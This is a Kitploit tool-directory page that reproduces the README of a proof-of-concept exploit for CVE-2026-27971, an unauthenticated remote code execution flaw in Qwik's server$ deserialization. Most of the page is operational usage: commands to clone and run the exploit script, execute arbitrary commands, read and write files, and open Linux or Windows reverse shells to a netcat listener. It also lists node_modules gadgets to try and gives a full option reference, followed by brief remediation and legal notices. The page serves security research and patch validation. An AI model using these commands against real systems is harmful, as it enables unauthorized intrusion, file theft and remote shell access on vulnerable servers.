Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-27971_POC — CVE-2026-27971 qwik rce | Kitploit
Tools/GitHubGitHub/ghalendar/cve-2026-27971_poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed TeamingRemote Access ToolPayload Development
GitHubghalendar/cve-2026-27971_poc

CVE-2026-27971_POC

CVE-2026-27971 qwik rce

View Repository
51 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-27971 — Qwik server$ Unauthenticated RCE PoC

[!WARNING] This repository contains an active remote-code-execution proof of concept. Use it only against systems you own or are explicitly authorized to test. The author assumes no responsibility for unauthorized use or damage.

A standalone Python proof of concept for CVE-2026-27971 / GHSA-p9x5-jp3h-96mm, an unauthenticated remote code execution vulnerability in the Qwik server$ RPC deserialization mechanism.

The PoC can perform an active marker probe, execute commands, read or write text files, and request a reverse shell on Linux or Windows targets. It uses only the Python standard library.

Vulnerability summary

Download Tool
FieldValue
ProductQwik — npm package @builder.io/qwik
Affected versions<= 1.19.0
Patched version1.19.1
VulnerabilityUnauthenticated remote code execution through unsafe server$ deserialization
Runtime conditionrequire() must be available at runtime
CWECWE-502 — Deserialization of Untrusted Data
SeverityCritical — CVSS 4.0: 9.2
VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

A crafted application/qwik-json request can reference a server-side module and exported symbol. Vulnerable Qwik versions may resolve an unregistered QRL through runtime require() and invoke it without authentication. This PoC attempts to reach a compatible process-execution export already present in the target's node_modules.

Requirements

Operator:

  • Python 3.
  • Network access to the exact Qwik route that processes the server$/Qwik JSON request.
  • A listener reachable from the target when testing reverse-shell functionality.

Target:

  • A vulnerable Qwik deployment using @builder.io/qwik <= 1.19.0.
  • A runtime where require() is available.
  • A compatible gadget module and export accessible in node_modules.
  • node available in the service process PATH.
  • Sufficient service-account permissions for the requested command or file operation.

No third-party Python packages are required.

Quick start

root@kitploit:~
git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help

List the built-in gadgets without sending a request:

root@kitploit:~
python3 exploit_combat.py --list-gadgets

Run an active marker probe and try every built-in gadget:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe

[!IMPORTANT] --probe is not passive version detection. It attempts remote code execution and confirms it by printing a marker from the target process.

Usage examples

Execute a command:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"

Read a UTF-8 text file:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json

Write and verify a UTF-8 text file:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"

Request a reverse shell after starting a persistent listener:

root@kitploit:~
nc -lvnp 4444
root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback

Force the Windows reverse-shell payload when automatic OS detection is unsuitable:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444

The script does not start a listener. The --callback pre-check opens and closes a separate TCP connection before sending the shell payload, so use a listener that can accept more than one connection.

CLI reference

OptionDescription
-t URL, --target URLExact target URL. Default: http://localhost:3000. The route is not discovered automatically.
--probeActively execute a marker payload and attempt OS detection.
-c CMD, --CMD CMDExecute a command through Node.js child_process.execSync().
--read PATHRead a UTF-8 text file using fs.readFileSync().
--write PATH --content TEXTWrite a text file, read it back, and compare the result. Parent directories are not created.
--list-gadgetsPrint built-in gadget names and exit without a network request.
--lhost IPEnable reverse-shell mode and set the callback address.
--lport PORTSet the callback port. Default: 4444.
--rev-allSend every reverse-shell variant instead of stopping after the first accepted HTTP request.
--callbackTest outbound TCP reachability before sending a reverse-shell payload.
--OS {auto,linux,windows}Select the reverse-shell payload family. Default: auto.
--gadget SPECUse auto, a built-in name, or a custom <module>#<symbol>. Default: cross-spawn.sync.
--arg-style {argv,command,shell}Argument style for a custom <module>#<symbol> gadget.
--timeout SECONDSClient-side HTTP timeout. Default: 30.
--verify-sslEnable TLS certificate and hostname verification. Verification is disabled by default.

Action modes are not mutually exclusive in the parser. Use one of --probe, --CMD, --read, --write, or --lhost per invocation.

Built-in gadgets

NameModule and exportStyle
cross-spawn.sync./node_modules/cross-spawn/index#syncargv
cross-spawn.index-js./node_modules/cross-spawn/index.js#syncargv
execa.sync./node_modules/execa/index#syncargv
execa.index-js.sync./node_modules/execa/index.js#syncargv
execa.commandSync./node_modules/execa/index#commandSynccommand
execa.index-js.commandSync./node_modules/execa/index.js#commandSynccommand
node-cmd.runSync./node_modules/node-cmd/cmd#runSyncshell
node-cmd.cmd-js.runSync./node_modules/node-cmd/cmd.js#runSyncshell

--gadget auto tests these gadgets in the listed order. A custom gadget can be supplied as follows:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe

Important limitations

  • A negative probe is not proof that the target is patched. It may indicate an incorrect route, a missing or incompatible gadget, a network/TLS error, filtering, or a different deployment layout.
  • The default gadget is cross-spawn.sync, not automatic discovery. Use --gadget auto when the target dependency layout is unknown.
  • The tool has no options for cookies, authorization headers, proxies, or arbitrary custom headers.
  • File operations are text-oriented. --read expects UTF-8, and --write is not intended for binary data.
  • Relative paths are resolved from the Qwik process working directory. All operations run with the Qwik service account's permissions.
  • Reverse-shell success messages indicate that the exploit HTTP request was accepted; they do not prove that a callback was received.
  • --rev-all may start several processes or callbacks on the target. Use it only in an isolated lab.
  • Process exit codes primarily reflect probe and transport handling, not the exit status of the remote command or the presence of a working shell.
  • The tool does not identify the installed Qwik version and should not be used as a replacement for dependency inventory.

Remediation

Upgrade @builder.io/qwik to 1.19.1 or later, update the lockfile, rebuild the application, and redeploy all server artifacts. Removing a compatible gadget alone is not a complete fix for the underlying Qwik vulnerability.

References

  • Qwik security advisory — GHSA-p9x5-jp3h-96mm
  • GitHub Advisory Database — CVE-2026-27971
  • Patched Qwik 1.19.1 release
  • Upstream fix commit
  • CVE record
  • NVD entry

Legal notice

This project is provided for security research, defensive validation, and authorized testing. Do not use it against systems without explicit permission.